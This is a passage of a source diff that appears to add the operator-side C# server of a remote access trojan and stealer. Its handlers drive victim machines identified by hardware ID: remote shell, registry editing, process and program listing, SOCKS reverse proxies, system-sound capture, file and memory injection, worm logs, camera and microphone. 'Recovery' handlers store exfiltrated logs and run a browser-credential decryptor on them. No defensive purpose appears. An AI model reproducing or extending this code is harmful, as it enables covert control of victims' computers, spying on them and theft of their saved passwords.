form4.dataGridView2.Rows.Add(dataGridViewRow2);
form4.Text = $"Process [{client.Hwid}] Process [{form4.dataGridView2.Rows.Count}]";
});
break;
}
case "Error":
{
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormProcess form = (FormProcess)client.Tag;
form.Invoke((MethodInvoker)delegate
{
form.materialLabel1.Text = "Error: " + (string)objects[2];
});
break;
}
}
}
}
+99
View File
@@ -0,0 +1,99 @@
using System.Windows.Forms;
using Server.Connectings;
using Server.Forms;
namespace Server.Messages;
internal class HandlerPrograms
{
public static void Read(Clients client, object[] objects)
{
switch ((string)objects[1])
{
case "Connect":
{
FormPrograms form3 = (FormPrograms)Application.OpenForms["Programs:" + (string)objects[2]];
if (form3 == null)
{
client.Disconnect();
break;
}
form3.Invoke((MethodInvoker)delegate
{
form3.Text = "Programs [" + (string)objects[2] + "]";
form3.client = client;
form3.materialLabel1.Enabled = true;
form3.dataGridView2.Enabled = true;
form3.materialLabel1.Text = "Succues Connect";
});
client.Tag = form3;
client.Hwid = (string)objects[2];
break;
}
case "Error":
{
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormNetstat form2 = (FormNetstat)client.Tag;
form2.Invoke((MethodInvoker)delegate
{
form2.materialLabel1.Text = "Error: " + (string)objects[2];
});
break;
}
case "List":
{
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormPrograms form = (FormPrograms)client.Tag;
form.Invoke((MethodInvoker)delegate
{
form.dataGridView2.Rows.Clear();
form.materialLabel1.Text = "Succues list Programs";
int num = 2;
while (num < objects.Length)
{
DataGridViewRow dataGridViewRow = new DataGridViewRow
{
Cells =
{
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[num++]
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[num++]
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[num++]
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[num++]
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[num++]
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[num++]
}
}
};
form.dataGridView2.Rows.Add(dataGridViewRow);
}
});
break;
}
}
}
}
+72
View File
@@ -0,0 +1,72 @@
using System;
using System.Drawing;
using System.IO;
using Server.Connectings;
using Server.Helper;
namespace Server.Messages;
internal class HandlerRecovery
{
public static void Read(Clients clients, object[] array)
{
// 1. Ïîëó÷àåì íåïðîâåðåííûé èäåíòèôèêàòîð (÷àñòü ïóòè) îò êëèåíòà.
string untrustedId = array[1]?.ToString();
// Åñëè èäåíòèôèêàòîð ïóñòîé, íè÷åãî íå äåëàåì.
if (string.IsNullOrEmpty(untrustedId))
{
clients.Disconnect();
return;
}
// 2. Îïðåäåëÿåì áåçîïàñíûå áàçîâûå äèðåêòîðèè.
string usersBaseDir = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Users");
string newLogsBaseDir = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "NewLogs");
// 3. Èñïîëüçóåì íàø íîâûé áåçîïàñíûé ìåòîä äëÿ ïîëó÷åíèÿ ïîëíûõ ïóòåé.
string clientUserPath = PathSanitizer.SanitizeAndResolvePath(untrustedId, usersBaseDir);
string clientNewLogsPath = PathSanitizer.SanitizeAndResolvePath(untrustedId, newLogsBaseDir);
// 4. ÃËÀÂÍÀß ÏÐÎÂÅÐÊÀ: Åñëè êàêîé-ëèáî èç ïóòåé null, ýòî áûëà ïîïûòêà àòàêè (Path Traversal).
if (clientUserPath == null || clientNewLogsPath == null)
{
// Ëîãèðóåì ïîïûòêó àòàêè è îòêëþ÷àåì êëèåíòà.
Methods.AppendLogs(clients.IP, "Path Traversal-àòàêà áûëà çàáëîêèðîâàíà.", Color.Red);
clients.Disconnect();
return;
}
try
{
// 5. Ñîçäàåì áåçîïàñíûå ïóòè äëÿ ôàéëîâ è ïàïîê, èñïîëüçóÿ Path.Combine.
string recoveryPath = Path.Combine(clientUserPath, "Recovery");
string sourceInfoFile = Path.Combine(clientUserPath, "Information.txt");
string destInfoFile = Path.Combine(clientNewLogsPath, "Information.txt");
// Óáåæäàåìñÿ, ÷òî äèðåêòîðèè ñóùåñòâóþò.
Directory.CreateDirectory(recoveryPath);
Directory.CreateDirectory(clientNewLogsPath);
// 6. Èñïîëüçóåì òîëüêî áåçîïàñíûå, ïîëíûå ïóòè.
Methods.AppendLogs(clients.IP, "Save logs in: " + recoveryPath, Color.MediumPurple);
PaleFileProtocol.Unpack(recoveryPath, array[2] as byte[]);
PaleFileProtocol.Unpack(clientNewLogsPath, array[2] as byte[]);
// Ïðîâåðÿåì, ÷òî èñõîäíûé ôàéë ñóùåñòâóåò ïåðåä êîïèðîâàíèåì
if (File.Exists(sourceInfoFile))
{
File.Copy(sourceInfoFile, destInfoFile, true); // true - ïåðåçàïèñàòü, åñëè ñóùåñòâóåò
}
}
catch (Exception ex)
{
// Ëîãèðóåì ëþáóþ îøèáêó ôàéëîâîé ñèñòåìû
Methods.AppendLogs(clients.IP, "Îøèáêà ïðè îáðàáîòêå ôàéëîâ: " + ex.Message, Color.Red);
}
finally
{
clients.Disconnect();
}
}
}
+73
View File
@@ -0,0 +1,73 @@
using System;
using System.Drawing;
using System.IO;
using Server.Connectings;
using Server.Helper;
namespace Server.Messages;
internal class HandlerRecovery1 // Óáåäèòåñü, ÷òî èìÿ êëàññà âåðíîå
{
public static void Read(Clients clients, object[] array)
{
// 1. Ïîëó÷àåì íåïðîâåðåííûé èäåíòèôèêàòîð (÷àñòü ïóòè) îò êëèåíòà.
string untrustedId = array[1]?.ToString();
if (string.IsNullOrEmpty(untrustedId))
{
clients.Disconnect();
return;
}
// 2. Îïðåäåëÿåì áåçîïàñíûå áàçîâûå äèðåêòîðèè.
string usersBaseDir = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Users");
string newLogsBaseDir = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "NewLogs");
// 3. Èñïîëüçóåì íàø íîâûé áåçîïàñíûé ìåòîä äëÿ ïîëó÷åíèÿ ïîëíûõ ïóòåé.
string clientUserPath = PathSanitizer.SanitizeAndResolvePath(untrustedId, usersBaseDir);
string clientNewLogsPath = PathSanitizer.SanitizeAndResolvePath(untrustedId, newLogsBaseDir);
// 4. ÃËÀÂÍÀß ÏÐÎÂÅÐÊÀ: Åñëè êàêîé-ëèáî èç ïóòåé null, ýòî áûëà ïîïûòêà àòàêè (Path Traversal).
if (clientUserPath == null || clientNewLogsPath == null)
{
Methods.AppendLogs(clients.IP, "Path Traversal-àòàêà áûëà çàáëîêèðîâàíà.", Color.Red);
clients.Disconnect();
return;
}
try
{
// 5. Ñîçäàåì áåçîïàñíûå ïóòè äëÿ ôàéëîâ è ïàïîê.
string recoveryPath = Path.Combine(clientUserPath, "Recovery");
string sourceInfoFile = Path.Combine(clientUserPath, "Information.txt");
string destInfoFileNewLogs = Path.Combine(clientNewLogsPath, "InformationLeb.txt");
string destInfoFileRecovery = Path.Combine(recoveryPath, "InformationLeb.txt");
// Óáåæäàåìñÿ, ÷òî äèðåêòîðèè ñóùåñòâóþò.
Directory.CreateDirectory(recoveryPath);
Directory.CreateDirectory(clientNewLogsPath);
// 6. Èñïîëüçóåì òîëüêî áåçîïàñíûå, ïîëíûå ïóòè.
Methods.AppendLogs(clients.IP, "Save logs in: " + recoveryPath, Color.MediumPurple);
DynamicFiles.Save(recoveryPath, (object[])array[2]);
DynamicFiles.Save(clientNewLogsPath, (object[])array[2]);
DecryptorBrowsers.Start(recoveryPath);
DecryptorBrowsers.Start(clientNewLogsPath);
// Ïðîâåðÿåì, ÷òî èñõîäíûé ôàéë ñóùåñòâóåò ïåðåä êîïèðîâàíèåì
if (File.Exists(sourceInfoFile))
{
File.Copy(sourceInfoFile, destInfoFileNewLogs, true);
File.Copy(sourceInfoFile, destInfoFileRecovery, true);
}
}
catch (Exception ex)
{
Methods.AppendLogs(clients.IP, "Îøèáêà ïðè îáðàáîòêå ôàéëîâ: " + ex.Message, Color.Red);
}
finally
{
clients.Disconnect();
}
}
}
+316
View File
@@ -0,0 +1,316 @@
using System.Collections.Generic;
using System.Windows.Forms;
using Leb128;
using Microsoft.Win32;
using Server.Connectings;
using Server.Forms;
using Server.Helper;
namespace Server.Messages;
internal class HandlerRegedit
{
public static void Read(Clients client, object[] objects)
{
string text = (string)objects[1];
if (text == null)
{
return;
}
switch (text.Length)
{
case 7:
switch (text[0])
{
case 'C':
{
if (!(text == "Connect"))
{
break;
}
FormRegedit form2 = (FormRegedit)Application.OpenForms["Regedit:" + (string)objects[2]];
if (form2 == null)
{
client.Disconnect();
break;
}
string rootKey2 = (string)objects[3];
List<RegistrySeeker.RegSeekerMatch> seekerMatches2 = new List<RegistrySeeker.RegSeekerMatch>();
int num4 = 4;
while (num4 < objects.Length)
{
RegistrySeeker.RegSeekerMatch regSeekerMatch3 = new RegistrySeeker.RegSeekerMatch();
regSeekerMatch3.Key = (string)objects[num4++];
object[] array3 = LEB128.Read((byte[])objects[num4++]);
List<RegistrySeeker.RegValueData> list3 = new List<RegistrySeeker.RegValueData>();
int num5 = 0;
while (num5 < array3.Length)
{
RegistrySeeker.RegValueData regValueData5 = new RegistrySeeker.RegValueData();
regValueData5.Name = (string)array3[num5++];
regValueData5.Kind = (RegistryValueKind)(int)array3[num5++];
regValueData5.Data = (byte[])array3[num5++];
list3.Add(regValueData5);
}
regSeekerMatch3.Data = list3.ToArray();
regSeekerMatch3.HasSubKeys = (bool)objects[num4++];
seekerMatches2.Add(regSeekerMatch3);
}
form2.Invoke((MethodInvoker)delegate
{
form2.materialLabel1.Enabled = true;
form2.lstRegistryValues.Enabled = true;
form2.tvRegistryDirectory.Enabled = true;
form2.Text = "Regedit [" + (string)objects[2] + "]";
form2.materialLabel1.Text = "Succues Connect";
form2.AddKeys(rootKey2, seekerMatches2.ToArray());
form2.client = client;
});
client.Tag = form2;
client.Hwid = (string)objects[2];
break;
}
case 'L':
{
if (!(text == "LoadKey"))
{
break;
}
FormRegedit FM8 = (FormRegedit)client.Tag;
if (FM8 == null)
{
break;
}
string rootKey = (string)objects[2];
List<RegistrySeeker.RegSeekerMatch> seekerMatches = new List<RegistrySeeker.RegSeekerMatch>();
int num2 = 3;
while (num2 < objects.Length)
{
RegistrySeeker.RegSeekerMatch regSeekerMatch2 = new RegistrySeeker.RegSeekerMatch();
regSeekerMatch2.Key = (string)objects[num2++];
object[] array2 = LEB128.Read((byte[])objects[num2++]);
List<RegistrySeeker.RegValueData> list2 = new List<RegistrySeeker.RegValueData>();
int num3 = 0;
while (num3 < array2.Length)
{
RegistrySeeker.RegValueData regValueData4 = new RegistrySeeker.RegValueData();
regValueData4.Name = (string)array2[num3++];
regValueData4.Kind = (RegistryValueKind)(int)array2[num3++];
regValueData4.Data = (byte[])array2[num3++];
list2.Add(regValueData4);
}
regSeekerMatch2.Data = list2.ToArray();
regSeekerMatch2.HasSubKeys = (bool)objects[num2++];
seekerMatches.Add(regSeekerMatch2);
}
FM8.Invoke((MethodInvoker)delegate
{
FM8.AddKeys(rootKey, seekerMatches.ToArray());
});
break;
}
}
break;
case 9:
switch (text[0])
{
case 'C':
{
if (!(text == "CreateKey"))
{
break;
}
FormRegedit FM7 = (FormRegedit)client.Tag;
if (FM7 != null)
{
string ParentPath = (string)objects[2];
RegistrySeeker.RegSeekerMatch regSeekerMatch = new RegistrySeeker.RegSeekerMatch();
regSeekerMatch.Key = (string)objects[3];
object[] array = LEB128.Read((byte[])objects[4]);
List<RegistrySeeker.RegValueData> list = new List<RegistrySeeker.RegValueData>();
int num = 0;
while (num < array.Length)
{
RegistrySeeker.RegValueData regValueData3 = new RegistrySeeker.RegValueData();
regValueData3.Name = (string)array[num++];
regValueData3.Kind = (RegistryValueKind)(int)array[num++];
regValueData3.Data = (byte[])array[num++];
list.Add(regValueData3);
}
regSeekerMatch.Data = list.ToArray();
regSeekerMatch.HasSubKeys = (bool)objects[5];
FM7.Invoke((MethodInvoker)delegate
{
FM7.CreateNewKey(ParentPath, regSeekerMatch);
});
}
break;
}
case 'D':
{
if (!(text == "DeleteKey"))
{
break;
}
FormRegedit FM6 = (FormRegedit)client.Tag;
if (FM6 != null)
{
FM6.Invoke((MethodInvoker)delegate
{
FM6.DeleteKey((string)objects[2], (string)objects[3]);
});
}
break;
}
case 'R':
{
if (!(text == "RenameKey"))
{
break;
}
FormRegedit FM5 = (FormRegedit)client.Tag;
if (FM5 != null)
{
FM5.Invoke((MethodInvoker)delegate
{
FM5.RenameKey((string)objects[2], (string)objects[3], (string)objects[4]);
});
}
break;
}
}
break;
case 11:
switch (text[2])
{
case 'e':
{
if (!(text == "CreateValue"))
{
break;
}
FormRegedit FM3 = (FormRegedit)client.Tag;
if (FM3 != null)
{
string keyPath2 = (string)objects[2];
string text2 = (string)objects[3];
string name = (string)objects[4];
RegistryValueKind kind = RegistryValueKind.None;
switch (text2)
{
case "-1":
kind = RegistryValueKind.None;
break;
case "0":
kind = RegistryValueKind.Unknown;
break;
case "1":
kind = RegistryValueKind.String;
break;
case "2":
kind = RegistryValueKind.ExpandString;
break;
case "3":
kind = RegistryValueKind.Binary;
break;
case "4":
kind = RegistryValueKind.DWord;
break;
case "7":
kind = RegistryValueKind.MultiString;
break;
case "11":
kind = RegistryValueKind.QWord;
break;
}
RegistrySeeker.RegValueData regValueData2 = new RegistrySeeker.RegValueData();
regValueData2.Name = name;
regValueData2.Kind = kind;
regValueData2.Data = new byte[0];
FM3.Invoke((MethodInvoker)delegate
{
FM3.CreateValue(keyPath2, regValueData2);
});
}
break;
}
case 'l':
{
if (!(text == "DeleteValue"))
{
break;
}
FormRegedit FM2 = (FormRegedit)client.Tag;
if (FM2 != null)
{
FM2.Invoke((MethodInvoker)delegate
{
FM2.DeleteValue((string)objects[2], (string)objects[3]);
});
}
break;
}
case 'n':
{
if (!(text == "RenameValue"))
{
break;
}
FormRegedit FM4 = (FormRegedit)client.Tag;
if (FM4 != null)
{
FM4.Invoke((MethodInvoker)delegate
{
FM4.RenameValue((string)objects[2], (string)objects[3], (string)objects[4]);
});
}
break;
}
case 'a':
{
if (!(text == "ChangeValue"))
{
break;
}
FormRegedit FM = (FormRegedit)client.Tag;
if (FM != null)
{
string keyPath = (string)objects[2];
RegistrySeeker.RegValueData regValueData = new RegistrySeeker.RegValueData();
regValueData.Name = (string)objects[3];
regValueData.Kind = (RegistryValueKind)(int)objects[4];
regValueData.Data = (byte[])objects[5];
FM.Invoke((MethodInvoker)delegate
{
FM.ChangeValue(keyPath, regValueData);
});
}
break;
}
}
break;
case 5:
{
if (!(text == "Error"))
{
break;
}
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormRegedit form = (FormRegedit)client.Tag;
form.Invoke((MethodInvoker)delegate
{
form.materialLabel1.Text = "Error: " + (string)objects[2];
});
break;
}
case 6:
case 8:
case 10:
break;
}
}
}
+22
View File
@@ -0,0 +1,22 @@
using Server.Connectings;
namespace Server.Messages;
internal class HandlerReportWindow
{
public static void Read(Clients client, object[] objects)
{
Clients[] array = Program.form.ClientsAll();
client.Hwid = (string)objects[1];
Clients[] array2 = array;
foreach (Clients clients in array2)
{
if (clients.Hwid == client.Hwid)
{
clients.ReportWindow = client;
return;
}
}
client.Disconnect();
}
}
+83
View File
@@ -0,0 +1,83 @@
using System.Windows.Forms;
using Server.Connectings;
using Server.Forms;
using Server.Helper.Sock5;
namespace Server.Messages;
internal class HandlerReverseProxy
{
public static void Read(Clients client, object[] objects)
{
switch ((string)objects[1])
{
case "Connect":
{
FormReverseProxy form = (FormReverseProxy)Application.OpenForms["ReverseProxy:" + (string)objects[2]];
if (form == null)
{
client.Disconnect();
break;
}
form.Invoke((MethodInvoker)delegate
{
form.Text = "Reverse Proxy [" + (string)objects[2] + "]";
form.client = client;
form.server = new Server.Helper.Sock5.Server(client);
form.Activea();
form.GridIps.Enabled = true;
form.rjButton1.Enabled = true;
form.rjTextBox1.Enabled = true;
});
client.Tag = form;
client.Hwid = (string)objects[2];
break;
}
case "Accept":
{
FormReverseProxy formReverseProxy = (FormReverseProxy)Application.OpenForms["ReverseProxy:" + (string)objects[3]];
if (formReverseProxy == null)
{
client.Disconnect();
break;
}
Client client3 = formReverseProxy.server.Search((int)objects[2]);
client3?.Accept(client);
client.Tag = client3;
break;
}
case "ConnectResponse":
{
if (client.Tag == null)
{
client.Disconnect();
break;
}
Client client2 = (Client)client.Tag;
client2?.HandleCommandResponse(objects);
client.Tag = client2;
break;
}
case "Data":
if (client.Tag == null)
{
client.Disconnect();
}
else
{
((Client)client.Tag)?.Send((byte[])objects[2]);
}
break;
case "Disconnect":
if (client.Tag == null)
{
client.Disconnect();
}
else
{
((Client)client.Tag)?.Disconnect();
}
break;
}
}
}
+84
View File
@@ -0,0 +1,84 @@
using System.Windows.Forms;
using Server.Connectings;
using Server.Helper.Sock5;
namespace Server.Messages;
internal class HandlerReverseProxyR
{
public static void Read(Clients client, object[] objects)
{
switch ((string)objects[1])
{
case "Connect":
if (!Program.form.ReverseProxyR.work)
{
client.Disconnect();
break;
}
Program.form.ReverseProxyR.Invoke((MethodInvoker)delegate
{
Program.form.ReverseProxyR.Server.ClientReverse.Add(client);
});
client.eventDisconnect += delegate
{
Program.form.ReverseProxyR.Invoke((MethodInvoker)delegate
{
try
{
Program.form.ReverseProxyR.Server.ClientReverse.Remove(client);
}
catch
{
}
});
};
client.Hwid = (string)objects[2];
break;
case "Accept":
{
if (!Program.form.ReverseProxyR.work)
{
client.Disconnect();
break;
}
Client client3 = Program.form.ReverseProxyR.Server.Search((int)objects[2]);
client3.Accept(client);
client.Tag = client3;
break;
}
case "ConnectResponse":
{
if (!Program.form.ReverseProxyR.work)
{
client.Disconnect();
break;
}
Client client2 = (Client)client.Tag;
client2?.HandleCommandResponse(objects);
client.Tag = client2;
break;
}
case "Data":
if (!Program.form.ReverseProxyR.work)
{
client.Disconnect();
}
else
{
((Client)client.Tag)?.Send((byte[])objects[2]);
}
break;
case "Disconnect":
if (!Program.form.ReverseProxyR.work)
{
client.Disconnect();
}
else
{
((Client)client.Tag)?.Disconnect();
}
break;
}
}
}
+84
View File
@@ -0,0 +1,84 @@
using System;
using Server.Connectings;
using Server.Helper.Sock5;
namespace Server.Messages;
internal class HandlerReverseProxyU
{
public static void Read(Clients client, object[] objects)
{
Console.WriteLine(objects[0]?.ToString() + " " + objects[1]);
switch ((string)objects[1])
{
case "Connect":
if (!Program.form.ReverseProxyU.work)
{
client.Disconnect();
break;
}
client.Hwid = (string)objects[2];
client.Tag = Program.form.ReverseProxyU.NewServer(client);
break;
case "Accept":
{
if (!Program.form.ReverseProxyU.work)
{
client.Disconnect();
break;
}
Server.Helper.Sock5.Server server = Program.form.ReverseProxyU.ServersPort((int)objects[4]);
if (server != null)
{
Client client3 = server.Search((int)objects[2]);
if (client3 != null)
{
client3.Accept(client);
client.Tag = client3;
}
else
{
client.Disconnect();
}
}
else
{
client.Disconnect();
}
break;
}
case "ConnectResponse":
{
if (!Program.form.ReverseProxyU.work)
{
client.Disconnect();
break;
}
Client client2 = (Client)client.Tag;
client2?.HandleCommandResponse(objects);
client.Tag = client2;
break;
}
case "Data":
if (!Program.form.ReverseProxyU.work)
{
client.Disconnect();
}
else
{
((Client)client.Tag)?.Send((byte[])objects[2]);
}
break;
case "Disconnect":
if (!Program.form.ReverseProxyU.work)
{
client.Disconnect();
}
else
{
((Client)client.Tag)?.Disconnect();
}
break;
}
}
}
+24
View File
@@ -0,0 +1,24 @@
using System.IO;
using Leb128;
using Server.Connectings;
using Server.Helper;
namespace Server.Messages;
internal class HandlerSendDiskGet
{
public static void Read(Clients client, object[] objects)
{
string text = (string)objects[1];
if (Methods.GetChecksum(text) == (string)objects[2])
{
byte[] data = LEB128.Write(new object[3]
{
"SendDisk",
Path.GetExtension(text),
File.ReadAllBytes(text)
});
client.Send(data);
}
}
}
+24
View File
@@ -0,0 +1,24 @@
using System.IO;
using Leb128;
using Server.Connectings;
using Server.Helper;
namespace Server.Messages;
internal class HandlerSendMemoryGet
{
public static void Read(Clients client, object[] objects)
{
string text = (string)objects[1];
if (Methods.GetChecksum(text) == (string)objects[2])
{
byte[] data = LEB128.Write(new object[3]
{
"SendMemory",
File.ReadAllBytes(text),
Path.GetFileName(text)
});
client.Send(data);
}
}
}
+118
View File
@@ -0,0 +1,118 @@
using System.Collections;
using System.Windows.Forms;
using Server.Connectings;
using Server.Forms;
namespace Server.Messages;
internal class HandlerService
{
public static void Read(Clients client, object[] objects)
{
switch ((string)objects[1])
{
case "Connect":
{
FormService form3 = (FormService)Application.OpenForms["Service:" + (string)objects[2]];
if (form3 == null)
{
client.Disconnect();
break;
}
form3.Invoke((MethodInvoker)delegate
{
form3.Text = "Service [" + (string)objects[2] + "]";
form3.client = client;
form3.materialLabel1.Enabled = true;
form3.dataGridView2.Enabled = true;
form3.materialLabel1.Text = "Succues Connect";
});
client.Tag = form3;
client.Hwid = (string)objects[2];
break;
}
case "Error":
{
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormService form2 = (FormService)client.Tag;
form2.Invoke((MethodInvoker)delegate
{
form2.materialLabel1.Text = "Error: " + (string)objects[2];
});
break;
}
case "Status":
{
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormService form4 = (FormService)client.Tag;
form4.Invoke((MethodInvoker)delegate
{
form4.materialLabel1.Text = "Succues status";
foreach (DataGridViewRow item in (IEnumerable)form4.dataGridView2.Rows)
{
if (item.Cells[1].Value as string == (string)objects[2])
{
item.Cells[1].Value = (string)objects[3];
break;
}
}
});
break;
}
case "List":
{
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormService form = (FormService)client.Tag;
form.Invoke((MethodInvoker)delegate
{
form.dataGridView2.Rows.Clear();
form.materialLabel1.Text = "Succues list";
int num = 2;
while (num < objects.Length)
{
DataGridViewRow dataGridViewRow = new DataGridViewRow
{
Cells =
{
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[num++]
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[num++]
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[num++]
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[num++]
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[num++]
}
}
};
form.dataGridView2.Rows.Add(dataGridViewRow);
}
});
break;
}
}
}
}
+65
View File
@@ -0,0 +1,65 @@
using System.Windows.Forms;
using Server.Connectings;
using Server.Forms;
namespace Server.Messages;
internal class HandlerShell
{
public static void Read(Clients client, object[] objects)
{
switch ((string)objects[1])
{
case "Connect":
{
FormShell form3 = (FormShell)Application.OpenForms["Shell:" + (string)objects[2]];
if (form3 == null)
{
client.Disconnect();
break;
}
form3.Invoke((MethodInvoker)delegate
{
form3.Text = "Shell [" + (string)objects[2] + "]";
form3.client = client;
form3.richTextBox1.Enabled = true;
form3.rjTextBox1.Enabled = true;
});
client.Tag = form3;
client.Hwid = (string)objects[2];
break;
}
case "Error":
{
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormShell form2 = (FormShell)client.Tag;
form2.Invoke((MethodInvoker)delegate
{
RichTextBox richTextBox = form2.richTextBox1;
richTextBox.Text = richTextBox.Text + "Error: " + (string)objects[2] + "\n";
});
break;
}
case "Shell":
{
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormShell form = (FormShell)client.Tag;
form.Invoke((MethodInvoker)delegate
{
form.richTextBox1.Text += (string)objects[2];
form.richTextBox1.SelectionStart = form.richTextBox1.Text.Length;
form.richTextBox1.ScrollToCaret();
});
break;
}
}
}
}
+56
View File
@@ -0,0 +1,56 @@
using System.IO;
using System.IO.Compression;
using System.Windows.Forms;
using Server.Connectings;
using Server.Forms;
namespace Server.Messages;
internal class HandlerSystemSound
{
public static void Read(Clients client, object[] objects)
{
string text = (string)objects[1];
if (!(text == "Connect"))
{
if (text == "Sound")
{
if (client.Tag == null)
{
client.Disconnect();
}
else
{
((FormSystemSound)client.Tag).Buffer(Decompress((byte[])objects[2]));
}
}
return;
}
FormSystemSound form = (FormSystemSound)Application.OpenForms["SystemSound:" + (string)objects[2]];
if (form == null)
{
client.Disconnect();
return;
}
form.Invoke((MethodInvoker)delegate
{
form.Text = "System Sound [" + (string)objects[2] + "]";
form.client = client;
form.trackBar1.Enabled = true;
form.materialSwitch1.Enabled = true;
});
client.Tag = form;
client.Hwid = (string)objects[2];
}
private static byte[] Decompress(byte[] inputBytes)
{
using MemoryStream stream = new MemoryStream(inputBytes);
using MemoryStream memoryStream = new MemoryStream();
using (DeflateStream deflateStream = new DeflateStream(stream, CompressionMode.Decompress))
{
deflateStream.CopyTo(memoryStream);
}
return memoryStream.ToArray();
}
}
+46
View File
@@ -0,0 +1,46 @@
using System.Windows.Forms;
using Server.Connectings;
using Server.Forms;
namespace Server.Messages;
internal class HandlerVolume
{
public static void Read(Clients client, object[] objects)
{
string text = (string)objects[1];
if (!(text == "Connect"))
{
if (!(text == "Volume"))
{
return;
}
if (client.Tag == null)
{
client.Disconnect();
return;
}
FormVolumeControl form = (FormVolumeControl)client.Tag;
form.Invoke((MethodInvoker)delegate
{
form.trackBar1.Value = (int)objects[2];
});
return;
}
FormVolumeControl form2 = (FormVolumeControl)Application.OpenForms["Volume:" + (string)objects[2]];
if (form2 == null)
{
client.Disconnect();
return;
}
form2.Invoke((MethodInvoker)delegate
{
form2.Text = "Volume [" + (string)objects[2] + "]";
form2.client = client;
form2.trackBar1.Enabled = true;
form2.trackBar1.Value = (int)objects[3];
});
client.Tag = form2;
client.Hwid = (string)objects[2];
}
}
+94
View File
@@ -0,0 +1,94 @@
using System.Windows.Forms;
using Server.Connectings;
using Server.Forms;
namespace Server.Messages;
internal class HandlerWindow
{
public static void Read(Clients client, object[] objects)
{
switch ((string)objects[1])
{
case "Connect":
{
FormWindow form3 = (FormWindow)Application.OpenForms["Window:" + (string)objects[2]];
if (form3 == null)
{
client.Disconnect();
break;
}
form3.Invoke((MethodInvoker)delegate
{
form3.Text = "Window [" + (string)objects[2] + "]";
form3.materialLabel1.Text = "Succues Connect";
form3.client = client;
form3.dataGridView2.Enabled = true;
});
client.Tag = form3;
client.Hwid = (string)objects[2];
break;
}
case "List":
{
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormWindow form2 = (FormWindow)client.Tag;
form2.Invoke((MethodInvoker)delegate
{
form2.dataGridView2.Rows.Clear();
form2.materialLabel1.Text = "Succues list window";
int num = 2;
while (num < objects.Length)
{
DataGridViewRow dataGridViewRow = new DataGridViewRow
{
Cells =
{
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[num++]
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (bool)objects[num++]
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (int)objects[num++]
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (int)objects[num++]
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[num++]
}
}
};
form2.dataGridView2.Rows.Add(dataGridViewRow);
}
});
break;
}
case "Error":
{
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormWindow form = (FormWindow)client.Tag;
form.Invoke((MethodInvoker)delegate
{
form.materialLabel1.Text = "Error: " + (string)objects[2];
});
break;
}
}
}
}
+200
View File
@@ -0,0 +1,200 @@
// --- ÍÀ×ÀËÎ ÔÀÉËÀ Packet.cs ---
using System;
using System.Drawing;
using Leb128;
using Server.Connectings;
using Server.Helper;
namespace Server.Messages;
internal class Packet
{
public void Read(Clients client, byte[] data)
{
try
{
object[] array = LEB128.Read(data);
string command = (string)array[0];
// --- ËÎÃÈÊÀ ÇÀÙÈÒÛ ÎÒ ÔËÓÄÀ ---
// Ïðîâåðÿåì, ÿâëÿåòñÿ ëè ýòî ïàêåòîì "Connect"
if (command == "Connect")
{
// Åñëè êëèåíò ÓÆÅ çàâåðøèë ðóêîïîæàòèå, ýòî àòàêà.
if (client.HasCompletedHandshake)
{
Methods.AppendLogs(client.IP, "Îáíàðóæåí ïîâòîðíûé ïàêåò 'Connect' (ôëóä). Êëèåíò çàáëîêèðîâàí.", Color.Red);
client.Disconnect();
return; // Íåìåäëåííî âûõîäèì, íå îáðàáàòûâàÿ ïàêåò
}
}
// --- ÊÎÍÅÖ ËÎÃÈÊÈ ÇÀÙÈÒÛ ---
switch (command)
{
case "Connect":
HandlerConnect.Read(client, array);
break;
case "Ping":
HandlerPing.Read(client, array);
break;
case "Pong":
HandlerPong.Read(client, array);
break;
case "Error":
HandlerError.Read(client, array);
break;
case "SendFileDisk":
Methods.AppendLogs(client.IP, "Succues File: " + (string)array[1], Color.Green);
break;
case "WormLog":
Methods.AppendLogs(client.IP, (string)array[1], Color.DarkBlue);
break;
case "WormLog1":
Methods.AppendLogs(client.IP, (string)array[1], Color.DarkOrange);
break;
case "WormLog2":
Methods.AppendLogs(client.IP, (string)array[1], Color.DarkSeaGreen);
break;
case "SendFileMemory":
Methods.AppendLogs(client.IP, "Succues Inject: " + (string)array[1], Color.Green);
break;
case "Update":
Methods.AppendLogs(client.IP, "Succues Update: " + (string)array[1], Color.Green);
break;
case "Uninstall":
Methods.AppendLogs(client.IP, "Succues Uninstall: " + (string)array[1], Color.Green);
break;
case "Report":
Methods.AppendLogs(client.IP, "Window Report " + client.Hwid + ": " + (string)array[1], Color.Purple);
break;
case "ReportWindow":
HandlerReportWindow.Read(client, array);
break;
case "GetDLL":
HandlerGetDLL.Read(client, array);
break;
case "Desktop":
HandlerDesktop.Read(client, array);
break;
case "Camera":
HandlerCamera.Read(client, array);
break;
case "Microphone":
